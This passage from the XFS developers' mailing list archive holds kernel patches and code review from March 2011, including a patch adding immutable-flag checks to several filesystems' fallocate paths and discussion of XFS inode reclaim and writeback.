References: <4D6221B8.9040303@gmail.com> In-Reply-To: <4D6221B8.9040303@gmail.com> Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-wy0-f181.google.com[74.125.82.181] X-Barracuda-Start-Time: 1299142057 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56915 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Marco Stornelli All fs must check for the immutable flag in their fallocate callback. It's possible to have a race condition in this scenario: an application open a file in read/write and it does something, meanwhile root set the immutable flag on the file, the application at that point can call fallocate with success. Only Ocfs2 check for the immutable flag at the moment. Signed-off-by: Marco Stornelli --- Patch is against 2.6.38-rc5 ChangeLog v2: Added the check for append-only file for XFS v1: First draft --- linux-2.6.38-rc5-orig/fs/ext4/extents.c 2011-02-16 04:23:45.000000000 +0100 +++ linux-2.6.38-rc5/fs/ext4/extents.c 2011-02-21 08:43:37.000000000 +0100 @@ -3670,6 +3670,12 @@ long ext4_fallocate(struct file *file, i */ credits = ext4_chunk_trans_blocks(inode, max_blocks); mutex_lock(&inode->i_mutex); + + if (IS_IMMUTABLE(inode)) { + mutex_unlock(&inode->i_mutex); + return -EPERM; + } + ret = inode_newsize_ok(inode, (len + offset)); if (ret) { mutex_unlock(&inode->i_mutex); --- linux-2.6.38-rc5-orig/fs/btrfs/file.c 2011-02-16 04:23:45.000000000 +0100 +++ linux-2.6.38-rc5/fs/btrfs/file.c 2011-02-21 08:55:58.000000000 +0100 @@ -1289,6 +1289,12 @@ static long btrfs_fallocate(struct file btrfs_wait_ordered_range(inode, alloc_start, alloc_end - alloc_start); mutex_lock(&inode->i_mutex); + + if (IS_IMMUTABLE(inode)) { + ret = -EPERM; + goto out; + } + ret = inode_newsize_ok(inode, alloc_end); if (ret) goto out; --- linux-2.6.38-rc5-orig/fs/gfs2/file.c 2011-02-16 04:23:45.000000000 +0100 +++ linux-2.6.38-rc5/fs/gfs2/file.c 2011-02-21 09:09:17.000000000 +0100 @@ -797,6 +797,11 @@ static long gfs2_fallocate(struct file * if (unlikely(error)) goto out_uninit; + if (IS_IMMUTABLE(inode)) { + error = -EPERM; + goto out_unlock; + } + if (!gfs2_write_alloc_required(ip, offset, len)) goto out_unlock; --- ./linux-2.6.38-rc5/fs/xfs/linux-2.6/xfs_file.c 2011-02-16 04:23:45.000000000 +0100 +++ ./linux-2.6.38-rc5/fs/xfs/linux-2.6/xfs_file.c 2011-03-03 09:25:32.000000000 +0100 @@ -906,8 +906,18 @@ xfs_file_fallocate( xfs_ilock(ip, XFS_IOLOCK_EXCL); - if (mode & FALLOC_FL_PUNCH_HOLE) + if (mode & FALLOC_FL_PUNCH_HOLE) { cmd = XFS_IOC_UNRESVSP; + if (IS_APPEND(inode)) { + error = -EPERM; + goto out_unlock; + } + } + + if (IS_IMMUTABLE(inode)) { + error = -EPERM; + goto out_unlock; + } /* check the new inode size is valid before allocating */ if (!(mode & FALLOC_FL_KEEP_SIZE) && From BATV+bee223b7b9168d89b586+2748+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 3 09:31:22 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23FVKMh098772 for ; Thu, 3 Mar 2011 09:31:22 -0600 X-ASG-Debug-ID: 1299166451-1ddd00390000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 382FC1DDF279 for ; Thu, 3 Mar 2011 07:34:11 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id DNPFitDxGDBHhFCv for ; Thu, 03 Mar 2011 07:34:11 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvAXa-0007P9-Iu; Thu, 03 Mar 2011 15:34:10 +0000 Date: Thu, 3 Mar 2011 10:34:10 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com, chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH 3/5] xfs: convert ENOSPC inode flushing to use new syncd workqueue Subject: Re: [PATCH 3/5] xfs: convert ENOSPC inode flushing to use new syncd workqueue Message-ID: <20110303153410.GA27205@infradead.org> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1298412969-14389-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299166451 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I still don't see any point in having the ENOSPC flushing moved to a different context. Just add a mutex and flush inline, e.g. void xfs_flush_inodes( struct xfs_inode *ip) { struct xfs_mount *mp = ip->i_mount; if (!mutex_trylock(&xfs_syncd_lock)) return; /* someone else is flushing right now */ xfs_sync_data(mp, SYNC_TRYLOCK); xfs_sync_data(mp, SYNC_TRYLOCK | SYNC_WAIT); xfs_log_force(mp, XFS_LOG_SYNC); mutex_unlock(&xfs_syncd_lock); } From aelder@sgi.com Thu Mar 3 09:32:17 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23FWHW8098833 for ; Thu, 3 Mar 2011 09:32:17 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay2.corp.sgi.com (Postfix) with ESMTP id DAF87304062; Thu, 3 Mar 2011 07:35:04 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p23FZ1CC023123; Thu, 3 Mar 2011 09:35:01 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p23FZ1hI023122; Thu, 3 Mar 2011 09:35:01 -0600 From: Alex Elder Message-Id: <201103031535.p23FZ1hI023122@stout.americas.sgi.com> Date: Thu, 03 Mar 2011 09:35:00 -0600 To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS update for 2.6.38-rc8 Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com, akpm@linux-foundation.org User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Regressions fixed, hopefully none introduced.. Sorry to report that one was introduced in XFS. A caller was providing the address of something smaller than what was expected by a function that zeroed it, with a predictable result. Please take the following change, which corrects the problem. Thanks. -Alex The following changes since commit cbdbb4c1d22e26f9d5314fefe6f2c7e5ed7f6a0f: Merge branch 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6 (2011-03-02 20:02:32 -0800) are available in the git repository at: git://oss.sgi.com/xfs/xfs for-linus Alex Elder (1): xfs: zero proper structure size for geometry calls fs/xfs/linux-2.6/xfs_ioctl.c | 11 ++++++++--- 1 files changed, 8 insertions(+), 3 deletions(-) From BATV+bee223b7b9168d89b586+2748+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 3 09:33:45 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23FXhB6098916 for ; Thu, 3 Mar 2011 09:33:45 -0600 X-ASG-Debug-ID: 1299166594-7bae01fa0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0990430F08A for ; Thu, 3 Mar 2011 07:36:34 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id GlwSXnT3ftfSo1EK for ; Thu, 03 Mar 2011 07:36:34 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvAZu-0008LC-Jr; Thu, 03 Mar 2011 15:36:34 +0000 Date: Thu, 3 Mar 2011 10:36:34 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com, chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: introduce background inode reclaim work Subject: Re: [PATCH 4/5] xfs: introduce background inode reclaim work Message-ID: <20110303153634.GB27205@infradead.org> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1298412969-14389-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299166595 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > +void > +xfs_syncd_queue_reclaim( > + struct xfs_mount *mp, > + int flags) > +{ > + mutex_lock(&xfs_syncd_lock); > + if (!delayed_work_pending(&mp->m_reclaim_work)) > + queue_delayed_work(xfs_syncd_wq, &mp->m_reclaim_work, > + xfs_syncd_centisecs / 5 * msecs_to_jiffies(10)); > + mutex_unlock(&xfs_syncd_lock); > + > + if (flags & SYNC_WAIT) > + flush_delayed_work_sync(&mp->m_reclaim_work); > +} queue_work/queue_delayed_work have a test_set_bit on WORK_STRUCT_PENDING_BIT, so can just call queue_work/queue_delayed_work and it will do the right thing if it is in use. So you can remove the mutex and delayed_work_pending check here. At least currently SYNC_WAIT is never set by any caller, and I wonder if we should just leave the waiting to the caller if we ever grow one. From BATV+bee223b7b9168d89b586+2748+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 3 09:45:30 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23FjUuL099886 for ; Thu, 3 Mar 2011 09:45:30 -0600 X-ASG-Debug-ID: 1299167301-1d9900630000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 598E6132698B for ; Thu, 3 Mar 2011 07:48:21 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id arADmV93cMtQVUPp for ; Thu, 03 Mar 2011 07:48:21 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvAlH-0002ZP-LP; Thu, 03 Mar 2011 15:48:19 +0000 Date: Thu, 3 Mar 2011 10:48:19 -0500 From: Christoph Hellwig To: Dave Chinner Cc: chris.mason@oracle.com, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Subject: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Message-ID: <20110303154819.GA3945@infradead.org> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-6-git-send-email-david@fromorbit.com> <20110302030602.GD4905@dastard> <20110302141220.GA4363@infradead.org> <20110303024228.GB15097@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110303024228.GB15097@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299167301 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 03, 2011 at 01:42:28PM +1100, Dave Chinner wrote: > Yeah, it doesn't seem like there's an easy way around that. I guess > I'll start by tracking VFS dirty inodes via a tag in the per-ag radix > tree and kick writeback via a new xfssynd work operation. I'll see > if that is sufficient to avoid the OOM problem without needing to > log the inodes in the .dirty_inode callback or changing it's > prototype. I don't think we'll be able to get around chaning the dirty_inode callback. We need a way to prevent the VFS from marking the inode dirty, otherwise we have no chance of reclaiming it. Except for that I think it's really simple: 1) we need to reintroduce the i_update_size flag or an equivalent to distinguish unlogged timestamp from unlogged size updates for fsync vs fdatasync. At that point we can stop looking at the VFS dirty bits in fsync. 2) ->dirty_inode needs to tag the inode as dirty in the inode radix tree With those minimal changes we should be set - we already callxfs_sync_attr from the sync_fs path, and xfs_sync_inode_attr properly picks up inodes with unlogged changes. In fact that whole scheme might even be able to speed up sync - right now we first log the inode and then flush all pending data in the log back to disk, and with this scheme we avoid logging the inode in the first place. From BATV+bee223b7b9168d89b586+2748+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 3 09:52:45 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23Fqjxi101132 for ; Thu, 3 Mar 2011 09:52:45 -0600 X-ASG-Debug-ID: 1299167736-1d9e007f0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 690341AEC9D6 for ; Thu, 3 Mar 2011 07:55:36 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id J8yluQKzbQUKLmUI for ; Thu, 03 Mar 2011 07:55:36 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvAsJ-0004Ie-Uj; Thu, 03 Mar 2011 15:55:36 +0000 Date: Thu, 3 Mar 2011 10:55:35 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com, chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: introduce inode cluster buffer trylocks for xfs_iflush Subject: Re: [PATCH 1/5] xfs: introduce inode cluster buffer trylocks for xfs_iflush Message-ID: <20110303155535.GA12670@infradead.org> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1298412969-14389-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299167736 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > + * pass through will see the stale flag set on the inode. > + */ > + error = xfs_iflush(ip, SYNC_TRYLOCK | sync_mode); > if (sync_mode & SYNC_WAIT) { > + if (error == EAGAIN) { > + xfs_iunlock(ip, XFS_ILOCK_EXCL); > + /* backoff longer than in xfs_ifree_cluster */ > + delay(2); Do we really need the delay here? It seems like we'd rather want to keep going with scanning the next inode cluster and return here from xfs_reclaim_inodes. > diff --git a/fs/xfs/linux-2.6/xfs_sync.h b/fs/xfs/linux-2.6/xfs_sync.h > index 32ba662..0ae48ff 100644 > --- a/fs/xfs/linux-2.6/xfs_sync.h > +++ b/fs/xfs/linux-2.6/xfs_sync.h > @@ -34,6 +34,7 @@ typedef struct xfs_sync_work { > > int xfs_syncd_init(struct xfs_mount *mp); > void xfs_syncd_stop(struct xfs_mount *mp); > +void xfs_syncd_queue_sync(struct xfs_mount *mp, int flags); This hunk belongs into a different patch. From BATV+bee223b7b9168d89b586+2748+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 3 09:55:30 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23FtTkn101468 for ; Thu, 3 Mar 2011 09:55:30 -0600 X-ASG-Debug-ID: 1299167900-1da600880000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id CF7681AECA0D for ; Thu, 3 Mar 2011 07:58:20 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id uIvgyLBwPFjVgIQa for ; Thu, 03 Mar 2011 07:58:20 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvAuy-0004SU-9u; Thu, 03 Mar 2011 15:58:20 +0000 Date: Thu, 3 Mar 2011 10:58:20 -0500 From: Christoph Hellwig To: Yongqiang Yang Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: help: xfstests building error. Subject: Re: help: xfstests building error. Message-ID: <20110303155820.GA16797@infradead.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299167900 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Feb 25, 2011 at 11:25:47AM +0800, Yongqiang Yang wrote: > Hi everyone, > > Is this the right mailing list??? > > When I build xfstests, I get errors as follows. > autoheader > autoconf You shouldn't need to run these manually. A simple make on a pristine source tree calls the right auto tools. From BATV+bee223b7b9168d89b586+2748+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 3 10:16:40 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23GGepC102796 for ; Thu, 3 Mar 2011 10:16:40 -0600 X-ASG-Debug-ID: 1299169171-7bab02aa0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5437A30F7D5 for ; Thu, 3 Mar 2011 08:19:31 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 96AhJID1AgmjtgCp for ; Thu, 03 Mar 2011 08:19:31 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PvBFR-0004Md-Ey; Thu, 03 Mar 2011 16:19:29 +0000 Date: Thu, 3 Mar 2011 11:19:29 -0500 From: Christoph Hellwig To: Dave Chinner Cc: chris.mason@oracle.com, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Subject: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Message-ID: <20110303161929.GA5795@infradead.org> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-6-git-send-email-david@fromorbit.com> <20110302030602.GD4905@dastard> <20110302141220.GA4363@infradead.org> <20110303024228.GB15097@dastard> <20110303154819.GA3945@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110303154819.GA3945@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299169171 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 03, 2011 at 10:48:19AM -0500, Christoph Hellwig wrote: > I don't think we'll be able to get around chaning the dirty_inode > callback. We need a way to prevent the VFS from marking the inode > dirty, otherwise we have no chance of reclaiming it. > > Except for that I think it's really simple: > > 1) we need to reintroduce the i_update_size flag or an equivalent to > distinguish unlogged timestamp from unlogged size updates for fsync > vs fdatasync. At that point we can stop looking at the VFS dirty > bits in fsync. > 2) ->dirty_inode needs to tag the inode as dirty in the inode radix > tree > > With those minimal changes we should be set - we already > callxfs_sync_attr from the sync_fs path, and xfs_sync_inode_attr > properly picks up inodes with unlogged changes. Actually xfs_sync_attr does not get called from the sync path right now, which is a bit odd. But once we add it, possibly with an earlier trylock pass and/or an inode cluster read-ahead the above plan still stands. What's also rather odd is how much we use xfs_sync_data - unlike the inodes where our own code doing writeback based on disk order makes a lot of sense data is actually handled very well by the core writeback code. The two remaining callers of xfs_sync_data are xfs_flush_inodes_work and xfs_quiesce_data. The former area really belongs into this patchset - can you try what only calling writeback_inodes* from the ENOSPC handler instead of doing our own stuff does? It should give you the avoidance of double writeout for free, and get rid of one of xfs_sync_data callers. After that we just need to look into xfs_quiesce_data. The core writeback code now does reliably writeback before calling into ->sync_fs, so the actual writeback should be superflous. We will still need a log force after it, and we might need an iteration through all inodes to do an xfs_ioend_wait, but this are can be simplified a lot. From david@fromorbit.com Thu Mar 3 15:36:23 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23LaMUC115884 for ; Thu, 3 Mar 2011 15:36:23 -0600 X-ASG-Debug-ID: 1299188351-468e01150000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C206D3109FE for ; Thu, 3 Mar 2011 13:39:11 -0800 (PST) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id efUlz5yFNBQ2Rrub for ; Thu, 03 Mar 2011 13:39:11 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoAEAMuYb015LFEbgWdsb2JhbACmZRYBARYiJb5UDYVUBJMG Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail06.adl6.internode.on.net with ESMTP; 04 Mar 2011 08:09:09 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PvGEh-0006a5-8j; Fri, 04 Mar 2011 08:39:03 +1100 Date: Fri, 4 Mar 2011 08:39:03 +1100 From: Dave Chinner To: Marco Stornelli Cc: Linux Kernel , linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, cluster-devel@redhat.com, xfs@oss.sgi.com, Linux FS Devel X-ASG-Orig-Subj: Re: [PATCH v2] Check for immutable flag in fallocate path Subject: Re: [PATCH v2] Check for immutable flag in fallocate path Message-ID: <20110303213903.GL15097@dastard> References: <4D6221B8.9040303@gmail.com> <4D6F5473.2070709@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4D6F5473.2070709@gmail.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1299188352 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56965 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 03, 2011 at 09:42:27AM +0100, Marco Stornelli wrote: > From: Marco Stornelli > > All fs must check for the immutable flag in their fallocate callback. > It's possible to have a race condition in this scenario: an application > open a file in read/write and it does something, meanwhile root set the > immutable flag on the file, the application at that point can call > fallocate with success. Only Ocfs2 check for the immutable flag at the > moment. > > Signed-off-by: Marco Stornelli > --- > Patch is against 2.6.38-rc5 > > ChangeLog > v2: Added the check for append-only file for XFS > v1: First draft > > --- linux-2.6.38-rc5-orig/fs/ext4/extents.c 2011-02-16 04:23:45.000000000 +0100 > +++ linux-2.6.38-rc5/fs/ext4/extents.c 2011-02-21 08:43:37.000000000 +0100 > @@ -3670,6 +3670,12 @@ long ext4_fallocate(struct file *file, i > */ > credits = ext4_chunk_trans_blocks(inode, max_blocks); > mutex_lock(&inode->i_mutex); > + > + if (IS_IMMUTABLE(inode)) { > + mutex_unlock(&inode->i_mutex); > + return -EPERM; > + } > + > ret = inode_newsize_ok(inode, (len + offset)); > if (ret) { > mutex_unlock(&inode->i_mutex); > --- linux-2.6.38-rc5-orig/fs/btrfs/file.c 2011-02-16 04:23:45.000000000 +0100 > +++ linux-2.6.38-rc5/fs/btrfs/file.c 2011-02-21 08:55:58.000000000 +0100 > @@ -1289,6 +1289,12 @@ static long btrfs_fallocate(struct file > btrfs_wait_ordered_range(inode, alloc_start, alloc_end - alloc_start); > > mutex_lock(&inode->i_mutex); > + > + if (IS_IMMUTABLE(inode)) { > + ret = -EPERM; > + goto out; > + } > + > ret = inode_newsize_ok(inode, alloc_end); > if (ret) > goto out; > --- linux-2.6.38-rc5-orig/fs/gfs2/file.c 2011-02-16 04:23:45.000000000 +0100 > +++ linux-2.6.38-rc5/fs/gfs2/file.c 2011-02-21 09:09:17.000000000 +0100 > @@ -797,6 +797,11 @@ static long gfs2_fallocate(struct file * > if (unlikely(error)) > goto out_uninit; > > + if (IS_IMMUTABLE(inode)) { > + error = -EPERM; > + goto out_unlock; > + } > + > if 